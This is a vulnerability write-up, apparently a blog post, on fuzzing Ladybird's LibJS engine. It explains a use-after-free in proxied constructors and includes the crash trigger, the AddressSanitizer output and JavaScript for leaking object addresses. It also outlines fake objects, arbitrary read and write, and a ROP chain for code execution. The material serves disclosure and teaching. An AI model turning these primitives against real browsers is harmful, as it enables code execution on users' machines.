Intro

Ladybird is a new browser engine that comes from the SerenityOS project. It is still being made better. Look at the website and the GitHub for more information!

Because the project is still new (SECURITY.md), bugs and problems can be told to everyone.

Author looking into the JavaScript engine of Ladybird, LibJS.

How It’s Made

LibJS has a part that reads code and does what it says, but it doesn’t have parts that change the code to make it faster (yet!). It has ways to make the code work better and it checks the code to make sure it’s right.

Finding Bugs

We will use Fuzzilli, which is a tool that helps find bugs in JavaScript. Here’s what it does:

It’s a tool that finds bugs in programs by making changes to the code and seeing if it breaks.

Fuzzilli can be set up with code generators that can be made to find certain bugs. LibJS is not being checked for bugs, so I didn’t add any special generators. I ran the tool and found 10 different crashes. A lot of the bugs were not interesting:

There were a few bugs that were more interesting:

I thought the regex bug was an integer overflow, but it wasn’t. The integer overflow in TypedArray looked good, but it seems hard to use because of the checks protecting it.

There were three bugs that looked really good: a heap buffer overflow, freelist corruption in the garbage collector, and a heap use-after-free (UAF) in the memory. But only the last UAF could be made to happen again. I’m still not sure why the others didn’t happen again. This is the crash report for the heap buffer overflow, and this is the one for the freelist corruption, if you want to see it.

The Bug

A Function That Has a Problem

The bug is a use-after-free (UAF) on the computer’s argument buffer. It happens when using a proxied function as a constructor, with a bad [[Get]] handler.

Consider this JavaScript:

function Construct() {}
new Construct()

The way it works is here.

This is how it’s done in Ladybird:

// 10.2.2 [[Construct]] (argumentsList, newTarget)
ThrowCompletionOr<GC::Ref<Object>> ECMAScriptFunctionObject::internal_construct(
    ReadonlySpan<Value> arguments_list, // [1]
    FunctionObject& new_target
) {
    auto& vm = this->vm();
 
    // 1. Let callerContext be the running execution context.
    // NOTE: No-op, kept by the VM in its execution context stack.
 
    // 2. Let kind be F.[[ConstructorKind]].
    auto kind = m_constructor_kind;
 
    GC::Ptr<Object> this_argument;
 
    // 3. If kind is base, then
    if (kind == ConstructorKind::Base) {
        // [2]
        // a. Let thisArgument be ? OrdinaryCreateFromConstructor(newTarget, "%Object.prototype%").
        this_argument = TRY(ordinary_create_from_constructor<Object>(
            vm,
            new_target,
            &Intrinsics::object_prototype,
            ConstructWithPrototypeTag::Tag
        ));
    }
 
    auto callee_context = ExecutionContext::create();
 
    // [3]
    // Non-standard
    callee_context->arguments.ensure_capacity(max(arguments_list.size(), m_formal_parameters.size()));
    callee_context->arguments.append(arguments_list.data(), arguments_list.size());
    callee_context->passed_argument_count = arguments_list.size();
    if (arguments_list.size() < m_formal_parameters.size()) {
        for (size_t i = arguments_list.size(); i < m_formal_parameters.size(); ++i)
            callee_context->arguments.append(js_undefined());
    }
    // [3 cont.] ...

The main parts are:

  • First, it takes a reference to an argument buffer, arguments_list. [1]
  • Then, it makes a new object with the same prototype as the constructor function. [2]
  • Then, it runs the constructor with the arguments in arguments_list. [3]

If the vector that arguments_list points to is free()’d between [1] and [3], then arguments_list will be bad, and it will lead to a use-after-free.

Let’s look at ordinary_create_from_constructor, called at [2]:

// 10.1.13 OrdinaryCreateFromConstructor (constructor, intrinsicDefaultProto [ , internalSlotsList])
template<typename T, typename... Args>
ThrowCompletionOr<GC::Ref<T>> ordinary_create_from_constructor(
    VM& vm,
    FunctionObject const& constructor,
    GC::Ref<Object> (Intrinsics::*intrinsic_default_prototype)(),
    Args&&... args)
{
    auto& realm = *vm.current_realm();
    auto* prototype = TRY(get_prototype_from_constructor(vm, constructor, intrinsic_default_prototype));
    return realm.create<T>(forward<Args>(args)..., *prototype);
}

It does these things:

  • Gets the prototype of the constructor function
  • Makes a new JavaScript object with that prototype

It’s a simple method, but it can have problems if the constructor is a proxy object. If we change the constructor function’s [[Get]] method, the call to get_prototype_from_constructor can run any JavaScript code. This is useful if we can get that code to free the argument buffer.

The Argument Buffer

The computer stores arguments for function calls in a vector called m_argument_values_buffer. It can grow, shrink, be freed, or moved, and we can control when that happens. For example, if the current buffer holds 5 things, and we run:

foo(1, 2, 3, 4, 5, 6, 7, 8, 9, 10)

then the buffer will need to be freed and moved somewhere with space for 10 things. Using this, we can free the computer’s argument buffer before it’s used to set up the context for the constructor call.

The fix is to do the prototype [[Get]] after the context has been made. Here’s the patch.

Here’s an example:

function Construct() {}
 
let handler = {
  get() {
    function meow() {}
    meow(0x41, 0x41, 0x41)
  },
}
 
let ConstructProxy = new Proxy(Construct, handler)
 
new ConstructProxy(0x41)

We change Construct’s [[Get]] method to a function that tries to move the argument buffer. Then we call the constructor to make the bug happen.

➜  ladybird git:(b8fa355a21) ✗ js bug.js
=================================================================
==8726==ERROR: AddressSanitizer: heap-use-after-free on address 0x5020000038f0 at pc 0x7f98dd1bf19e bp 0x7ffcc8ee2ef0 sp 0x7ffcc8ee2ee8
READ of size 8 at 0x5020000038f0 thread T0
    #0 0x7f98dd1bf19d  (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0xbbf19d)
    #1 0x7f98dd1bdf8f  (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0xbbdf8f)
    #2 0x7f98dd22a555  (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0xc2a555)
    #3 0x7f98dd539cdd  (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0xf39cdd)
    #4 0x7f98dce78c0e  (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0x878c0e)
    #5 0x7f98dcdcdc0a  (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0x7cdc0a)
    #6 0x7f98dcdb818a  (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0x7b818a)
    #7 0x7f98dcdb6971  (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0x7b6971)
    #8 0x562b5099e2a2  (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/js+0x1922a2)
    #9 0x562b5099b114  (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/js+0x18f114)
    #10 0x562b509c1029  (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/js+0x1b5029)
    #11 0x7f98dae2a1fd  (/nix/store/rmy663w9p7xb202rcln4jjzmvivznmz8-glibc-2.40-66/lib/libc.so.6+0x2a1fd) (BuildId: 7b6bfe7530bfe8e5a757e1a1f880ed511d5bfaad)
    #12 0x7f98dae2a2b8  (/nix/store/rmy663w9p7xb202rcln4jjzmvivznmz8-glibc-2.40-66/lib/libc.so.6+0x2a2b8) (BuildId: 7b6bfe7530bfe8e5a757e1a1f880ed511d5bfaad)
    #13 0x562b5084ed14  (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/js+0x42d14)
 
0x5020000038f0 is located 0 bytes inside of 16-byte region [0x5020000038f0,0x502000003900)
freed by thread T0 here:
    #0 0x562b50940bf8  (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/js+0x134bf8)
    #1 0x7f98dcd39e1e  (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0x739e1e)
    #2 0x7f98dcd3963d  (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0x73963d)
    #3 0x7f98dce90c12  (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0x890c12)
    #4 0x7f98dcdcd014  (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0x7cd014)
    #5 0x7f98dcdb818a  (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0x7b818a)
    #6 0x7f98dd228b7f  (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0xc28b7f)
    #7 0x7f98dd225cf6  (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0xc25cf6)
    #8 0x7f98dd530b92  (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0xf30b92)
    #9 0x7f98dd48e458  (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0xe8e458)
    #10 0x7f98dd09a76f  (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0xa9a76f)
    #11 0x7f98dd232d4b  (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0xc32d4b)
    #12 0x7f98dd22a381  (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0xc2a381)
    #13 0x7f98dd539cdd  (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0xf39cdd)
    #14 0x7f98dce78c0e  (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0x878c0e)
    #15 0x7f98dcdcdc0a  (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0x7cdc0a)
    #16 0x7f98dcdb818a  (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0x7b818a)
    #17 0x7f98dcdb6971  (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0x7b6971)
    #18 0x562b5099e2a2  (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/js+0x1922a2)
    #19 0x562b5099b114  (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/js+0x18f114)
    #20 0x562b509c1029  (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/js+0x1b5029)
    #21 0x7f98dae2a1fd  (/nix/store/rmy663w9p7xb202rcln4jjzmvivznmz8-glibc-2.40-66/lib/libc.so.6+0x2a1fd) (BuildId: 7b6bfe7530bfe8e5a757e1a1f880ed511d5bfaad)
 
previously allocated by thread T0 here:
    #0 0x562b50941bc7  (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/js+0x135bc7)
    #1 0x7f98dcd39c7f  (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0x739c7f)
    #2 0x7f98dcd3963d  (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0x73963d)
    #3 0x7f98dce90c12  (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0x890c12)
    #4 0x7f98dcdcc161  (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0x7cc161)
    #5 0x7f98dcdb818a  (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0x7b818a)
    #6 0x7f98dcdb6971  (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0x7b6971)
    #7 0x562b5099e2a2  (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/js+0x1922a2)
    #8 0x562b5099b114  (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/js+0x18f114)
    #9 0x562b509c1029  (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/js+0x1b5029)
    #10 0x7f98dae2a1fd  (/nix/store/rmy663w9p7xb202rcln4jjzmvivznmz8-glibc-2.40-66/lib/libc.so.6+0x2a1fd) (BuildId: 7b6bfe7530bfe8e5a757e1a1f880ed511d5bfaad)
 
SUMMARY: AddressSanitizer: heap-use-after-free (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0xbbf19d)
Shadow bytes around the buggy address:
  0x502000003600: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa
  0x502000003680: fa fa 00 00 fa fa 00 fa fa fa 00 fa fa fa 00 fa
  0x502000003700: fa fa 00 fa fa fa fd fa fa fa fd fa fa fa 00 fa
  0x502000003780: fa fa 00 00 fa fa 00 fa fa fa 00 00 fa fa 00 00
  0x502000003800: fa fa fd fd fa fa fd fa fa fa 00 fa fa fa 00 fa
=>0x502000003880: fa fa 00 00 fa fa 00 00 fa fa 00 00 fa fa[fd]fd
  0x502000003900: fa fa 00 fa fa fa 00 fa fa fa 00 00 fa fa 00 fa
  0x502000003980: fa fa 00 fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x502000003a00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x502000003a80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x502000003b00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==8726==ABORTING
 

Using the Bug

UAFs are good to work with. In this case, the UAF happens in the glibc memory, rather than in a place where a lot of objects are. The memory mainly holds buffers, which makes it harder to find the right objects.

Finding an Object

We can make a way to find the address of an object by putting a pointer inside the old arguments_list memory, then reading the arguments object from inside the constructor.

Here’s how we can find the address of an object:

let target = {}
let linked = new FinalizationRegistry(() => {})
 
function meow() {}
 
let handler = {
  get() {
    // [2]
    // allocate more than 0x30 to free the chunk
    meow(0x1, 0x2, 0x3, 0x4, 0x5, 0x6)
 
    // [3]
    // allocate the free'd chunk, with pointer to the target
    linked.register(target, undefined, undefined, undefined, undefined, undefined)
  },
}
 
function Construct() {
  // [4]
  // read the linked list node, containing the pointer
  console.log(arguments)
}
 
let ConstructProxy = new Proxy(Construct, handler)
 
// [1]
// allocate a 0x30 chunk
// 0x8 * 5 (js values) + 0x8 (malloc metadata) = 0x30
new ConstructProxy(0x1, 0x2, 0x3, 0x4, 0x5)

The many undefined arguments on [3] make sure the linked list node is made in our free area and not in other places.

FinalizationRegistry puts linked list nodes with object pointers on the memory, which is useful to find. Running the code, we get the double representation of the pointer. If we repeat it a few times, they change a little.

➜  ladybird git:(b8fa355a21) ✗ Build/old/bin/js arguments.js
ArgumentsObject{ "0": 6.9077829341497e-310, "1": undefined, "2": 0, "3": 0, "4": 5 }
➜  ladybird git:(b8fa355a21) ✗ Build/old/bin/js arguments.js
ArgumentsObject{ "0": 6.8997364430636e-310, "1": undefined, "2": 0, "3": 0, "4": 5 }
 

We can get the pointer by packing it into bytes!

>>> struct.pack("<d", 6.8997364430636e-310)[::-1].hex()
'00007f0350fc2118'
 

Making a Fake Object

We can make a fake JavaScript object pointer in a similar way. We allocate a buffer into arguments_list, write our fake object pointer into it, and then use the fake object inside the constructor. There are some things to consider:

  • Our free(arguments_list) needs the vector to move, so the size of our structures needs to increase in steps big enough to make it move.
  • We need to tag the fake object so the computer knows its type.

Other than that, it’s similar, and we’ll do it in the next part.

Controlling the Computer

Dynamic lookups on objects are handled by the get_by_value function, shown below. If the key is an index ([1]) and the object is like an array ([2]) (it has an m_indexed_properties member), then the property is taken from the m_indexed_properties member.

inline ThrowCompletionOr<Value> get_by_value(
    VM& vm,
    Optional<IdentifierTableIndex> base_identifier,
    Value base_value,
    Value property_key_value,
    Executable const& executable
) {
    // [1]
    // OPTIMIZATION: Fast path for simple Int32 indexes in array-like objects.
    if (base_value.is_object() && property_key_value.is_int32() && property_key_value.as_i32() >= 0) {
        auto& object = base_value.as_object();
        auto index = static_cast<u32>(property_key_value.as_i32());
 
        auto const* object_storage = object.indexed_properties().storage();
 
        // [2]
        // For "non-typed arrays":
        if (!object.may_interfere_with_indexed_property_access()
            && object_storage) {
            auto maybe_value = [&] {
                // [3]
                if (object_storage->is_simple_storage())
                    return static_cast<SimpleIndexedPropertyStorage const*>(object_storage)->inline_get(index);
                else
                    return static_cast<GenericIndexedPropertyStorage const*>(object_storage)->get(index);
            }();
            if (maybe_value.has_value()) {
                auto value = maybe_value->value;
                if (!value.is_accessor())
                    return value;
            }
        }
 
        // try some further optimizations, otherwise fallback to a generic `internal_get`
        ...
 

If the storage type is SimpleIndexedPropertyStorage, then this method is used.

[[nodiscard]] Optional<ValueAndAttributes> inline_get(u32 index) const
{
    if (!inline_has_index(index))
        return {};
    return ValueAndAttributes { m_packed_elements.data()[index], default_attributes };
}
 

This uses our offset in the m_packed_elements vector. This code (using an array-like object that has a SimpleIndexedPropertyStorage) has no virtual function calls, so we don’t need to give our fake object a vtable pointer.

We set up our fake object so m_indexed_properties points to a fake SimpleIndexedPropertyStorage object, whose m_packed_elements then points to the place to read.

Diagram of object layout

Now that we have the structures in memory, we need to make sure:

  • [2] passes: by setting m_may_interfere_with_indexed_property_access to false
  • and [3] passes: by setting m_is_simple_storage on the object storage to true

After we can read from anywhere, we can find the vtable for SimpleIndexedPropertyStorage, then change our fake storage object. This lets us write to anywhere without crashing.

Code Execution

Once we can read and write to anywhere, we can control the browser:

  • We can change things in the browser,
  • We can make a fake vtable to control the code,
  • We can change where the code returns to.

The best way to run code is to change the return pointer.

First, we find where the stack is. From there, we find a pointer to libc, where we find a pointer to the stack.

Once we’ve found the stack, we look for a specific return pointer (__libc_start_call_main) and change it to a ROP chain. The ROP chain is simple; it runs /calc, which is a calculator app. A better payload would map memory for a second stage.

We close the tab, which will make the stack collapse and run the ROP chain.

This is the code for the browser, and this is the code for the REPL.

Below is a video of the code running!

Reference